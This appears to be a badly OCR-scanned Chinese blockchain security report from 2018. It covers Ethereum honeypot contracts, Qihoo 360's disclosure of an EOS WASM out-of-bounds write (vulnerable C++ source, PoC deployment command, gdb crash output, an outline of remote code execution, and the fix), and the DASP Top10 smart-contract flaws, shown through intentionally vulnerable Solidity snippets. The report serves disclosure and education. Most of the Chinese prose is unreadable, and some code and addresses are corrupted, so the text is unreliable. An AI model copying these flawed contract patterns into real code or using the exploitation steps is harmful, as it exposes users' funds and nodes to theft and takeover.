[ ehange_ar ¢
Toeptay
Loae partrast from Asdrass At Addrmas
0 pending transactions =

Ligtan on matwnm:

FFFFFFFFFFFFFFFFFFRFFFFFFFFFFF & P

Bl )

if (storage[0] == Ox46FEEB381E90F7E30635B4F33CE3F6FA8EAGEDIB){

31
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XtEiEkRE, TEREREESY firstTest Y withdrawal() A,
emails.delegatecall(bytes4(sha3( “logEvent()” ))); BSFIKFE—1 L E Owner EGE
Ox46FEEB381E90F7E30635B4F33CE3F6FASEAGEDIB, WNSRIEEE, FIE adr 8B HYED
BRI, REBEEZENTPHIRIEEESIISAMIEERINAREE. adr SEMIHZEHE
!

4.3 (UXLRiMit? (EEEh): For Test

Github #BiifF: Solidlity-Vulnerable/honeypots/For Test.sol

DReE 29l Ox2eCF8D1F46DD3C2098de9352683444A0B69EL229

BEXRBEAEIT:
pragma solidity 20.4.19;

contract For Test

{

function Test()
payable

public

{

if(msg.value> 0.1 ether)

{
uint256 multi =0;

uint256 amountToTransfer=0;

for(var i=0;i<msg.value*2;i++)

{

multi=i*2;

if(multi<amountToTransfer)

{
break;

}

else

{

amountToTransfer=multi;
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msg.sender.transfer(@amountToTransfer);

ERiBiECal, BIFEEERMES:
1. msg.value BRAIE wei, ZMIF, HFKAIEE 1 ether BF, msg.value =
1000000000000000000 (wei)

2. BFAWER varibd, | BUEHEREERE uint8, XA AILUE Solidity EFM L3

How do for loops work?

Very similar to JavaScript. There is one point to watch out for, though:

If youuse for (B@F i = ©8: 1 < a.length: i ++) { a[i] = i; } ,thenthetypeof i will be inferred
only from & ,whose typeis uints . This means thatif = has more than 255 elements, your loop
will not terminate because i can only hold values up to 255 .

Better use for (uint | 8; i <. a.length...

NMEBSHREFTR, % i=255 5, HUT i++, BSREBEEY, | ESEFTH O,
7|‘$1F§W—r7f SR,

RIBXNERESNNNES, REEET 0.1 ether FER Test() , BSHNBIRREE
Fl| amountToTransfer B9{E, FI& amountToTransfer wei KIXGIHIEE, EAEEESR
HHAYERT, amountToTransfer &2 msg.value * 2, XTEEXMNEESARII A
5.

IERARTF for BRFRY | FAEEELEDH, /£ =255 H1T i++ [F,i=0 & multi=0

< amountToTransfer 1281 IET1EIR,
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MMESR, ®BWKE/DT 0.1 ether(100000000000000000 wei) BILLKT, ZEEESY

#ME 510 wei LAKM. |REEX,
SZRRVEREELIET Testl:
Github #BiiF: smart-contract-honeypots/Test1.sol
4.4 [RRSE (BIRFFmIFER/A) : DividendDistributor
Github #BiiF: Solidlity-Vulnerable/honeypots/DividendDistributor.sol
ERES LUt : 0x858c9eaf3ace37d2bedb4aleb6b8805ffe801bba

BRI T :
function loggedTransfer(uint amount, bytes32 message, address target, address
currentOwner) protected

{

if(! target.call.value(amount)() )
throw;
Transfer(amount, message, target, currentOwner);

function divest(uint amount) public {
if (investors[msg.sender].investment == 0 || amount == 0)
throw;
// no need to test, this will throw if amount > investment
investors[msg.sender].investment -= amount;
sumlinvested -= amount;
this.loggedTransfer(amount, "", msg.sender, owner);

IZERERIRE BTk, TEAR. BukFERE. ERFENDTT, E5HREENS
A ENHEIFERRE. AEFERITS, FA Remix EIHEHIUEAER, —EIREE%
BUROHENEER. BRI r EEa Lt NAYTIE:
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# | htipa:/letheracen lo/address/DxBEBcBeaf3ace 70 2be dbdalehEnAE0E He a0 bbatco

@ Contract SelfDestruct called at TeMash 05830 fIT005cs cdd!

rpded contract might be susceplibie o ZeroF unihenSmector ary low-savanty), Dolegan
flav-severity) Soiilly compier bugs,

1@ Contract Source Code Verified {Exact match)

Contract Marme DividerdDistributored Oplirnization Enabies

Complar Verskon: vk, 11 <commit 8efiE 0 Auns (Optimiser):

S5 public owier;
= fuwtlon Owneble() public {
B omner = nsg, sendsn;

15+ modifler protected(d
H e i

newsmer} public onlyDaner {

£ Solidity 0.4.12 Zgl, FHE— bug, MIR=FFFE
IRIBEsS e,

" PRIEREZVERRISE, N

241 HIFEAWEAT send(from,to,” " ,amount), LRiFRIFEFIEFRIERANIZ

send(from,to,amount), RENXATELIT:
pragma solidity 20.4.0;

contract DividendDistributorv3{

event Transfer(uint amount,bytes32 message,address target,address

currentOwner);

function loggedTransfer(uint amount, bytes32 message, address target, address

currentOwner)

{

Transfer(amount, message, target, currentOwner);

function divest() public {
this.loggedTransfer(1, "a", 0x1, 0x2);
this.loggedTransfer(1, "", 0x1, 0x2);
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£ Remix AiEdRIESShRAIER 0.4.11+commit.68ef5810.Emscripten.clang f5, 1
1T divest() FREEERMT:

function divest() public {
his.loggedTransfer(l, "a", @x1, @x2);
this.loggedTransfer(l, "", @x1, 8x2);

=

}

[2] only remix transactions, script « Q Search transactions Listen on network

[
{
"from": "Oxcllafde806c26cl2af25064253e8bebaacBi4Bdl”,
"topic": "Oxd96bed506f4f0aas501£724a2582d2bid7649ccTiedfcTc2
917fbdf5a60beed31”,
"event": "Transfer",
"arga": {
T REE
1": "0xE100000000000000000000000000000000000000000
000000000D000000D0D0OCO",
"2": "0=0000000000000000000000000000000000000C001",
“3": "0x0000000000000000000000000000000000000002",
amount § 1y LB 5
"message”: "0x6100000000000000000000000000000000000 | « _»
00000000000000000D000000000",

It

Lalyel < UEUUUUUUUUUUUOUTUUUUuU DU OuuUuUUUvUdvuuUooy
p1",
“currentOwner": “0x00000000000000000000000000000000
oooooon2",
“length": 4
}
+e
i

"from": "OxcllafdeB0fc26c12af25064253ef8bebanaBldndl”,
"topic": "0xd96bed506£f4£0aa501£724a2582d2bfd7649ccTIedfcTol
917fb4f5a60beed3l”,
"event”: "Transfer",
"args": {
"prs vye,
"1": "0x0000000000000000000000000000000000000000000
000000000000000000001",
"2": "0x0000000000000000000000000000000000000002"
"3 'cxuuouuuuuonuuuunuuuuouuuununuunuuuuuuﬂuun :
“amount": "1°
"message”: "0x0000000000000000000000000000000000000

YUmessagey” " i,
HtargetiHE &,

000000000000000000000000001" , A [y
. AEPGR— . . T 2 R Ox01
target”: "UxU0D000COO0UOUOOOOUO0O0GUO0DUDOTUT0a0000T i T W
02",
“eurrentOwner”: "0x00000000000000000000000000000000
pooooooo”,
"length": 4
}
}
1R

EXNMERENPEEILE. SFIIFRFEA divest() EUEEAIFHERIR, REKS

un

W@ this.loggedTransfer(amount, , msg.sender, owner);,

EA%IFESA bug, RZRAAIE this.loggedTransfer(@amount, msg.sender,
owner);, BE{RRYEIKRELLFHE owner.call.value(amount) , BRINHVGEREAEELS
msg.sender(RILIKMEELE SLORIHAEE. SLABERINED

0x05 f5ic

ELTmIET, REAAREIXEREEESHSFEHNERRSEE —EE58). B
TEERESHGEEHITHE, BESHIBRNENZN T ESH ARSI, EER
FizL, ETESHNANBoLNEGERINSENE, BEEFS.
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XLEEEESONBERIMEER, EEXFISEREN 198 178, BRTHaITAERX
EEERONTEIRNE SRENTTAE. SEUBHEITAR B BE—EXA
ERNRE. ANEREERSNIINES, FTERBEEERSUTUEsES, IFEEHY
t, FrLMER ZEiE XA, BIANZIEETIR.

Xty EEEEGIRBEITAR BHTESHNER, FREREEND, E7THAEEEN
BRI, THEIMERTBERIRINE (FlaNdwigss bug F) , ZRENIEABRNIERLIA,

T BRESLMUBIAE K, SN AREBEHANRE—ERIEIZOE, M
gk LR D FERRAE.

BREIEEAAIEATHEMER, HRTH solidity IESHIKREAMHBIER 1.0 iRE, BS
IESRSEIARERENTE, B, XREIERISHERIRE HMTTERIRTKEER(F.
IERGNLE, FESRRX M RERSONIEHITERBINEE, SLNRE BRI ™S/

L,
ERfERE 404 SLX0=E AIE—/IME, SITTREPRITTEUREESR, IDXRENENE
EHES

ST BERIERRLAKIGAA, MERIFRETUNHIIERESAFITIRS, SERSAR
LRSIV FRE, AFEUKLNAREREF.

HECIF 404 BHRESAIZLEFIHER:  https://www.scanv.com/Ica/index.html

BXZEHE: (086) 136 8133 5016(L&1E, T {EH:10:00-18:00)

0x06 &E&4kiE

Github smart-contract-honeypots

Github Solidlity-Vulnerable

The phenomenon of smart contract honeypots
Solidity =3

Solidity J[RI8 (—) : Z&(Inheritance)
XifEZe — DAO KRS 4ET
LAIKIGEREEAREN T TH—T

Exposing Ethereum Honeypots

Solidity Bug Info
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Uninitialised storage references should not be allowed

0x07 fff®: EHMBREREGESLMIIAKRRZZER

ETEMIEIRFER, HNBEAIBHNLINHERSARITRR—HIHE 118 NN Ei#
EReSZuttit, BRTEMbIE: https://images.seebug.org/archive/transactions.csv
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EOS T Rimiz T i3RI

{E2&: 360Vulcan
[R3ER: [R£Z=] https://www.anquanke.com/post/id/146497
R

Yuki Chen of Qihoo 360 Vulcan Team

Zhiniang Peng of Qihoo 360 Core Security
pep s

NIRRT EOS RPERFIERRITERESLY WASM A RHI— N B R Ximtic
i\, FIUE T ZisiR R I & .

FRIZRRE, XEET L EENEESAETRIRSE, BT RRGSSHFITERSHN
&, WEEMEBRED RRSH LITEEREH=2EHRSES.

T RIRSSRE, WEETLGESSNFTEHRIXIR, HmmBdFEsE e
TR, RERGHMEHEA EOS M,

R & AT Ze
2018-5-11 KI EOS HARBEIXiHHIRE
2018-5-28 MEAFF R T T2 EOS R TS miNRRIERER
2018-5-28 BRRETIREAE S
2018-5-29 I B1E Github FEERBEFEERRE, FXARMIRRR
2018-5-29 REE miRRAT2IEE

—LE7F Telegram E5 Daniel Larimer B384 75 :
(1252070 Daniel /83i@FHRETRIE, Daniel BINBAWEREESRRABER FTAS KM
W EOS, ERHERENEBALFUNRER, SoiERERSRRLEME.
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= T
2082018 FET)-5 2 18

{ Chats Daniel Larimer et
last seen 3 hours ago :_2

Hey Daniel, | am the leader of Qihoo
360Vulcan Team, a famous security
research team. We just found and exploited
a critical bug on EOS producer node. The
attacker can use it to remotely execute
code on nodes.

We have successfully exploited bug on
latest version.

How could we report details to EOS? Can
we discuss through mail ? 23:43

We can also submit it to github, but that
would make others see this issue, is this
OK? 00:17

Hi 00:19

Yes, we won't ship with out it fixed .o,
Or you can submit it to me here .-,
Since people are running public test nets
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Daniel 87 EA1—1NE/ARIMMEHE, LML IR RERS.

¢ Chats Daniel Larimer G\

last seen 3 hours ago =

OK can | submit to you by mail? 5.5,

| think fixing would be easy 5>~

ail.com ;p.23 |

Cool pp:23.~

Will send you soon .23

EOS WASM Contract Function Table Array Out of Bounds Write Vulnerabilityvvvvvvvvvvvy
qihoo 360
L

|

Cc:

Attachments: (4) Download all atta

[E) Description.txt (8 KB): [ poc | x8: ii‘,_’f! (] EOS explot proof of concep~1.mp4 (5 MB)

Hi Daniel,
| am security researcher at Qihoo 360. We have found a critical bug on EOS node which can result in remote code exe

remotely own the nodes who parsed our malicious contract.

&5 Daniel 7AETE EOS RURIRIEES, 48T R ATFEUE.
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{ Chats Daniel Larimer er)
last seen 3 hours ago 3

-Yuki Chen of Qihoo 360 Vulcan Team
-Zhiniang Peng of Qihoo 360 Core
Security D

Hi | just checked on github ,the vulnerability

has already been fixed with issue 3498.
09:57

Nice response:) pg.51.

Are you consider to give some credit on our

reporting, Like an acknowledgement?
09:52 7/

Yeah. ;.-
Cool! Look forward to it. ;.00

L]
XE—MMEPXaHuAR SR
JBIAfEET1E libraries/chain/webassembly/binaryen.cpp {489 78 17,

Function binaryen_runtime:instantiate_module:
for (auto& segment : module->table.segments) {
Address offset =
ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).val
ue.geti32();
assert(offset + segment.data.size() <= module->table.initial);
for (size ti = 0; i = segment.data.size(); ++i) {
table[offset + i] = segment.data[i]; <= OOB write here !

}
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XER table 22— std :: vector BEEREFFHBFR, THETRFMHEE] table FrRT,
loffset| FERSBWIERICE, TRTEIREZEZRIEE— assert MiEH, SEIEERE
2, BFRENE assert {UERAT Debug kA, FERTAFIRE.

table.resize(module->table.initial);
|module->table.initial| XAMUAS FEMEENAVERIRIBEREERREHE, & WASM X4+
I, 1ZFRAEIEN 01024,
|offset| FERAVERIRIEEUEERMN WASM XHFIERRY, BE— MRS 32 (Z(E.
FrLAEIEIX R, FTAILAE table AIEZ ERRTE, BARSA—EEERIRE.
B RIE
1. RIFEFH EOS RTB release A
./eosio-build.sh
2. [B51 EOS ¥ 5 Start EOS node, eI FATENENEE
https://github.com/EOSIO/eos/wiki/Tutorial-Getting-Started-With-Contracts
3. RE—NRIREH
BA MR T — P IERFERRIRAY WASM RIS 4 (POC)
EXA PoC H, FATERANRET |offset| FERSIA OxFffffff itelik, FRIASRRABAS
ERAE AR
Friallizx PoC:
cd poc
cleos set contract eosio ../poc -p eosio

IEFIESERAISEE] nodeos HEHIL segment fault $5i1R
BEREE:

(gdb) ¢

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x0000000000a32f7c in

eosio::chain::webassembly::binaryen::binaryen runtime:instantiate_ module(char

const*, unsigned long, std::vector<unsigned char, std::allocator<unsigned char> >) ()
43



L2%=-2018 FHT-55 2 #8

(gdb) x/i $pc

=> Oxa32f7c
<_ZN5eosio5chain11webassembly8binaryen16binaryen runtime18instantiate_ modul
eEPKcmSt6vectorlhSalhEE+2972>:  mov %rcx,(%rdx, %rax, 1)

(gdb) p $rdx

$1 = 59699184

(gdb) p $rax

$2 = 34359738360

Here |rdx| points to the start of the |table| vector,

And [rax| is Ox7FFFFFFF8, which holds the value of |offset| * 8.
FBRREINTZEHNT

M ALIRIEBRILATE nodeos HEH LIRS VIBHA T, IEFI AL 22 EE S LEE!
PETR, FUITREBTEESN. MERENKREY, WEEAERRA EOS EME &
=r N

EOS BT REtTEEeMAREE, WNEEBIUSEEEHIX MR,

WA TG BB T RAIRASSIEFIF RIS, EEENEREE T LUISERSL
FTERR—MHIRARMHITIG, REBMNEFRITE T REMEZ R G H .

A 15emk 7 LS MASRIAIEER:, HEET 64 (i Ubuntu &89 nodeos _Ei#17 7
. XNRENKESERIXFR:

1. WEEBEERRLILEE nodeos IRS5ES.

2. BR5588 nodeos HEMEITS | RiRIAREE S,

3. ERBASNRRERT, FHAIRTLAEE WASM RIRLHIR WASM AFETX,
EEE WASM BBIEEIT, &REFLAE nodeos HRFLI T ERWNFL/EHRIE, FH5
37 64 (HMERS LAY DEP / ASLR SEENKIEHERIIA,

4, REFB—BRI, fEsI—1REA shell EHEKEE.

44

t K

all

15



Le%=-2018 FZF-55 2 8§

AJLASERAHRHAISNE, THEX MESHRRREFIRERE, HER(ITESIRMHTERY

i S,
http://v.youku.com/v_show/id XMzYzMTg1NjYwMA==.html

mR(EE
Bytemaster 7t EOS BY Github 5 EIE +, ABA RS 7 3498 fmSHY issue

IRFHES A,
Convert assert() into throwing exceptions in WAVM anc

BINARYEN -
bytemaster opened this issue 13 hours ago - 0 comments

3 bytemaster commented 13 hours ago

If any of these asserts trigger in release it shouldn't pass, but should throw. Allowing the code to continue
running in release is a potential security vulnerability and will likely result in crashes elsewhere.

Contributor

(Bl EPS v
Il EOSIO / eos

<» Code Issues 571 Pull requests 15 Projects 0 Wiki

Branch: master ¥ | eos / libraries / chain / webassembly /

i bytemaster fix asserts that get compiled out in debug

=) binaryen.cpp fix asserts that get compiled out in d=izug

BERELRFELNE Yuki FERANTHE, XNERFRETERIES, £ 32 (o

TR A PR E R,
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2 Em libraries/chain/webassembly/binaryen.cpp View v

LS
®
=)
>
5
~
-
o
~
@
=
in
e
o
=1
2
5
o
5
+
-
51
i

m_instantiated module_interface> binaryen_ runtime::instantiat
table.resize(module->table.initial);
for (auto& segment : module->table.segments) {
Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
- assert(offset + segment.data.size() <= module->table.initial);
+ FC_ASSERT(offset + segment.data.size() <= module->table.initial);
for (size_t 1 = 0; 1 != segment.data.size(); ++i) {

table[offset + 1] = segment.data[i];
4.
3B

1 comment on commit eagodce

.
il guhe120 commented on eagadce 5 hours ago

L

Hi, there is still some problem with this patch. in 32-bits process, offset + segment.data.size() could overflow
and bypass the FC_ASSERT check
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DASP EgE&£) Top10 &l

1B XERGERANEHR
[R3ER: [R£Z=] https://www.anquanke.com/post/id/146703

A3 A
BsT)1 g’d

ETRRERESZ Top10 ZaI, FAIERR—T, OWASP Top10,
OWASP: Open Web Application Security Project
EXAPMMBESAFH+XK web N BRRFZEXE
2017 SRR TRt :
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf
KR, FNBTERSE Top10 IFiE,
LITREINRE, RSk, eh¥aJseem, K5,
1.8

RN SRS, BFEARR, RERS,

X e IREZ AR AR IRZ T EIFIN BHE - BRI F— K — T EEERE, HERE
R F BRI BB & 2 F RIS 7.

BAENE

BN, AJeRREENLIATRE,

FEIRERIES, 81 ABREIRT.

RSB AETIHSHEFEIRSNE, BT IUKENS Y.

SHEHATSERZ AT, FMEREEERE P RERERTHIIERN, iakEEHH
Ao

T RECKS, XERESRRGAREEMTIRETEAERAEEREERESI
BRI BR AT AR £ 3L,

R {18 350 5 ETH (HA32979 5000 53E5T)

WERIRRIEZE

2016/6/5——Christian Reitwiessner &I 7 — M EEAISIET

https://blog.ethereum.org/2016/06/10/smart-contract-security/

2016/6/9——8EBLAKIHIE: Race-To-Empty 2EIFHIAZE (vessenes.com)
47
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http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/

2016/6/12—ELUKIFERESLY BT RAA #EiRAM (blogslock.it) ZfE, &8
DAO ZEmllmXp.

https://blog.slock.it/no-dao-funds-at-risk-following-the-ethereum-smart-contra
ct-recursive-call-bug-discovery-29f482d348b

2016/6/17——3FKiAS TheDAO IEIEE RS (reddit.com)

https://www.reddit.com/r/ethereum/comments/4oi2ta/i think thedao is getting
_drained _right_now/

2016/8/24——DAO R SEFIZLEE)I (blog.sock.it)

https://blog.slock.it/the-history-of-the-dao-and-lessons-learned-d06740f8cfa5

R

DAO

https://en.wikipedia.org/wiki/The DAO (organization)

il

— MBS LIRER— LI NBb It AT, HRITRPBEEATZERE withdraw()
LI8E,

—NERIE RS LIFER withdraw() REHEERE S EREN,

EEIEEEYRREZH, ZFEEGLIHIT callvalue(@amount)() {EKBIREUSLAX
M ARIELETERELY.

ISR EHIE—1 32T fallback((EZEZERITNEE, AEEIEEIZEEGLIAI withdraw()
LI8E,

BLRTEMAR SRR BiclE, TEEURIRMHRNERIERTEH, &R, &

BB IRBINRE T 230 RER.

KE361

I TRHEEEZZENNLR AR, SERH call)FE @ msg.sender tbibAIx
ether i, BEREZZWE, NRMIALRERSL, NIFUSMARSFATIRELINTIRAIZZ S

gas:

function withdraw(uint _amount) {
require(balances[msg.sender] >= _amount);
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msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;

BhE=i5

DAO EREGLY

https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#
code

457 DAO BIFIFS

http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

fEEAAY DAO RSl

http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao

EINe TN

https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy

BAREFARNNERS P —MRE, EHERI—)

https://blog.citymayor.co/posts/how-someone-tried-to-exploit-a-flaw-in-our-s
mart-contract-and-steal-all-of-its-ether/
2.5l

ESEA initWallet 5%y, ILUE Parity Wallet BES29ZENEMNZ sig EBHKAERN
ESE=

pIEHRRERTEEFTPERER, MAMUNEEEEL.,

FL k, X2 OWASP HeZa0 10 ZAYSS 5 i, AMiTEEBETHEAHEIIMIIEEHEEY
RYZHEE.

REAZENIRMHRESENEE BEELIEYINMENESEENL I, Bk
IR BERTEINGED,

XS RARTRE A EESLFERERA torigin RISIEERER, KATEGEAEISILE
1§ require 7 delegatecall FERIEFSRESAHEFFER.

$R%: it 150,000 ETH (4A3£9 3000 F35T)

FSEtH RS20

EHAERGGFEIR 1
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http://paritytech.io/the-multi-sig-hack-a-postmortem/

EHEREGTHIR 2

http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/

Rubixi

https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security/

il

—MNEBNELEE TR EIE NSRBI, XBIZ PRSIV E R, Flanis
WE48E1,

AER, MIIaHRERTLSEHIARER, BEEEEKER. RiHEIARAGEHEFH

RIER=E,
K361
ETERAFH, REYRIEHRESRARNEREREN TGS, Am, BE5E

HRIBIEREOE, HEANCREEEWEARRIESL.

function initContract() public {
owner = msg.sender;

}

£ Parity multi-sig $85, XMIIEHERHSHREAFOBEHE "E 64, AREE
BT ERENRECRIR B Atk E delegateCall, A=M2, ERIMIGIFH, RENE
BiaEREER ARG, EEREIIE, BTERER— I IRBISY, EIAERTLIE
TR EIRIEFEKIEER.

HthE=i5

185 Parity Z{55%%& bug 1

https://github.com/paritytech/parity/pull/6103/files

BT EER 2

http://paritytech.io/security-alert-2/

EZFHBEE multi-sig hack &

https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f

RZARIFRITIRE
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https://github.com/trailofbits/not-so-smart-contracts/tree/master/unprotected
function

Rubixi RUEEREGZY

https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20b

e#code
3.5 8)=R
XA, HIZRNNEGRES, BaEtREHATEH,
ARAR D EEE s HA IR i
I B S IETHIER, 15IEUIRETEEMERATTRY, A= e/ H e /]
ZLEM,
ity
BHaH Na 2 —RNNRE, BellEgkaF /iR
Hp L SBERER, ASHTRARIBTER int X8 (BEEEFHSEE)
MRKRERE, FEZRENBBZANETTAERIRSAIEIA.
HEiHRR
DAO

Jules Dourlens

http://blockchain.unica.it/projects/ethereum-survey/attacks.html

BatchOverflow (Z1$HE)

https://peckshield.com/2018/04/22/batchOverflow/

ProxyOverflow (Z1$h4)

https://peckshield.com/2018/04/25/proxyOverflow/

il

— MRS LIRY withdraw()IHEE, ERILAANERIREUNERFANGIRCER, REEE
BLIBK,

— I EE N EMRE BRI R RERZS .

iz withdraw(IEEIGERIER SR ES, RITREERLBIRIT.

FRILEF=2ERIRER FFE, FRALLENIZERAIIEER,
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K361
REENNFE— M AMEERH NaRE, AR LRERRC:

function withdraw(uint _amount) {
require(balances[msg.sender] - amount > 0);
msg.sender.transfer(_amount);
balances[msg.sender] -= amount;

BTMIF (EFE=R Solidity JmiB= &= HHEH AT
https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte)
RRTHENKERAFTS EHERTAIS LRI RAIEIR

function popArrayOfThings() {
require(arrayOfThings.length >= 0);
arrayOfThings.length--;

F=MIFRF—MIFIIEN, EPRNEFSEENEAERE—NTHEELC

function votes(uint postld, uint upvote, uint downvotes) {
if (upvote - downvote < 0) {
deletePost(postld)

}

BINREHRM T BISFARY var X§EF., BT var KRS NESIEEEMEIN&RN
KA, R/ uint8 (RIFHE 0. ANREAFNEUREGET 255 X, BRKITATRZE
¥, HEEHTIETHMZIES gas:

for (vari = 0; i < somethinglLarge; i ++) {
// ..
}

HithFiR

SafeMath B5LEzEH
https://ethereumdev.io/safemath-protect-overflows/
B bR
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https://github.com/trailofbits/not-so-smart-contracts/tree/master/integer _overfl
ow
4. KIS EIREBIERESHE R

WIRARSTERMLRE, RENERIE.

NRETREERERIRARA "I . WRIREEAMNERD, BragtaSEREIMITH, —
—Remix

HhNELENERRRIVEREERAIRIINEE call(), callcode(), delegatecall()F0
send(). fEMETEERAEINTASEM Solidity RE=EARE, ERMINIFSERE (3B
i8) . AEASSEERTHIZERE. Bk, BIISIRE—M/RERES false, FEH
BB HENETT. XARERIEFRARREIRS, RANERNXFMERBERTREE, N
A RESERRG T IEM AR ERNER, BiclE, REATsEaKM!

BRI

AR Z E—https://www.kingoftheether.com/postmortem.html

Etherpot——https://www.dasp.co/

KE3561

TEHMTEE— SSiciER BB S HERNEIF send(),

INRFRRAT ether RIXLEFEZEIRIERESY (K0, EABIRBMIEIRIDEE)

U EVM B REEREIRRE(E false,

BRFAERIINGIFHREREREE, RERHENESLNSHNELFISWIRE, FE
etherLeft TEREZSRIF— N ARIERIE:

function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);

Hith=iR
RETLERIIMEREIE
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https://github.com/trailofbits/not-so-smart-contracts/tree/master/unchecked e
xternal_call

A "RERE - &KX" ERNIELUKIEEE

http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-fo
r-bugs/
5.}5480RS5

BEAESE LR, BIMOE, BIMRTE, RSN
devops199 on the Parity multi-sig wallet

| accidentally killed it.

FELIKIGRIHA S, RS 2 EnRT:

REAMRANNAREFEETLUIKE, B8RSR LIBTHP—FIE KT,

FEHESEEERS, SREFARBESSIESTN

A BNt ETHRERTRR gas, MFFHIAER DRI E RS £IRFAAN R

MAEBBENRZ, . XRWEEEFSAENENR, AR/ LFERIREAE.

K {Hit79 514,874 ETH (S5R94 3 {2555T)

Rt R

BT

https:.//www.reddit.com/r/ethereum/comments/4ghzhv/governmentals 1100 et
h_jackpot payout is stuck/

TEREEZESERE

http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/

il

—MAZEARTFERNBEF BN A ERE.

AT &R, AP bid(uint object) FIRFEERILAKECKIERREL.

BESHBBLKNRFES=ARFF, BEINGRINFEEESHRINEWIRIRIRARH.

XEREHZEAVERRIMPIRERBRENIEERNE.

IZIASE AR EIE— withdraw(uint amount)JJgE, ERIFEERMNGLEREE.

FEEREURIE amount EFE RO, FPRARRELFHZEREL.

— N EEED T RENEIREATE, BERENEUNEEIEEER.

54



L2%=-2018 FHT-55 2 #8

XA 7 FEEAEFELE TErARIR L.

EAEERURSEITENHRERSEEY, ENEE T LB B R RS SR EaH TR
.

X836l

ETENNFH (RUXENER
http://blockchain.unica.it/projects/ethereum-survey/attacks.html#kotet)

IR ELINIIEER LULIRR ARG, NRIRATFHEWE—. A=HE, WRAISHRE—
MNERRRIGEY, FEECIHYEE, NAONERKBEN, TEEEEBKTRFESR. ek
BEXIFRIIRE, -

function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president

EFEAMIFH, BERETLURE F— M REGERBRNE. BT for BAMHERRANE
< WEEBARERSIANKKRIEFREN (BTFLIKEHPRISAEZERE) | XISEZutELE
RRERRITRE.

function selectNextWinners(uint256 largestWinner) {
for(uint256 i = 0; i < largestWinner, i++) {
// heavy code
}

largestWinner = largestWinner;

HthE=i5

A Multisig #liFEZANR. HBIX

https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b4
6771eaa838

KT Parity multi-sig #:8imiREF Cappasity <HEAREAIFEEA

https://blog.artoken.io/statement-on-the-parity-multi-sig-wallet-vulnerability-a

nd-the-cappasity-artoken-crowdsale-b3a3fed2d567
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6.55i=FHH

IR RB T ARKNERN.

BE29%7 block.number F#REEBAIIUE, S 400 1~ ETH B8 — 1 FKARITT3<, 1]
EFF 256 TMEX ZFfE T 7 AR S, ———— I /EEEX

LAKIHRIBEH IR MR R,

94 Solidity fRHAITHEEFIZR E R LAIRIBE EXELATRNAYE

BENBEBEALBRKELNT, BAZEE T,

T XEFET RIS E— R E LR AT, MLAEERPEETUSHEHKER
ARSI I IRE.

Rk 81 400 ETH

BRI

SmartBillions ¥22&

https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery co
ntract just got hacked/

TheRun

https://medium.com/@hrishiolickel/why-smart-contracts-fail-undiscovered-bug
s-and-what-we-can-do-about-them-119aa2843007

il

FREREELIERRSIEARET AR,

WEHEE—NEESIRNELIRIRSIIEEERRK. NREXEF, BFFRASE—
BREALLIEREE BT ZHFUGRE—RXZRI—88n, BRI ENPHRESHRIEAE.

WEERFTERRAMIEEER, EEEkM,

KE361

EE—/M5IFH, a private seed 5 iteration #=2F keccak256 B! RE LS & {5 FASkH
EFNF5REIREE. Eventhough B seed £ private, EXREBIIRZER M ERIZE,

HEIE blockchain B] I,

uint256 private seed;

function play() public payable {
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require(msg.value >= 1 ether);

iteration++;

uint randomNumber = uint(keccak256(seed + iteration));

if (randomNumber % 2 == 0) {
msg.sender.transfer(this.balance);

EXE—MilFH, block.blockhash TE# 4 si— N HEMES,

ARG ZNEFE blockNumber i & /9=F1{& block.number (HFEMZUNRE) F
BRRES, WixieHESR 0.,

£ blockNumber i3 XK EHHBIT 256 MREIBER T, BIBRENE,

BE, IREHZEN—MNAFINAK BNXRERS, B—MEEAYR LA TEENES
EHE RS LHENR—R B TR R,

function play() public payable {
require(msg.value >= 1 ether);
if (block.blockhash(blockNumber) % 2 == 0) {
msg.sender.transfer(this.balance);

BthE=i5
FELAKIE RS 20 FuliBENEL
https.//blog.positive.com/predicting-random-numbers-in-ethereum-smart-cont
racts-e5358c6b8620
ELAKIABE,
https://blog.otlw.co/random-in-ethereum-50eefd09d33e
1.BIRIELT

WHRFRRERESERIIE (TOCTOU) |, RFsM, FESIUFHKEE (TOD)

FSLYFRE, HEZE 150 1747H9 Python gLl LS —NESE/THIE %, ———Ivan
Bogatyy
BTy TE2EIRR/INEBEEHEIE (EOA) BUKIBIRE gas 2
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FIAFR LS EE SR RLAEE R R3S,
BATUNBXRER AT, SMABITUEREMARRRZZHIAE.

i;‘(__

BRE, IRETAPEEERHESEMENMERNRNENFERS R, TERAFALE

BBRASEAIRESNEREHERS, LIRS E,
MREEESLUNFRENNM, XMERSSEEERRRIABCR ERIRNR B,
ESCtt RS2

Bancor

https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-eth
ereum-api-d5e2bfd0d798
ERC-20

https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ102RPXBbTOmooh
ADYKJA jp-RLM/

TheRun

https://www.dasp.co/

il

1. —MEBBIELAIIRSAES (N = primel x prime2) .

2. XJH submitSolution() A INEERIERSIA prime’ 7 prime2 REIKEE,

3. Alice BINiG RSA RSEBIERN, FHEMRTIZE.

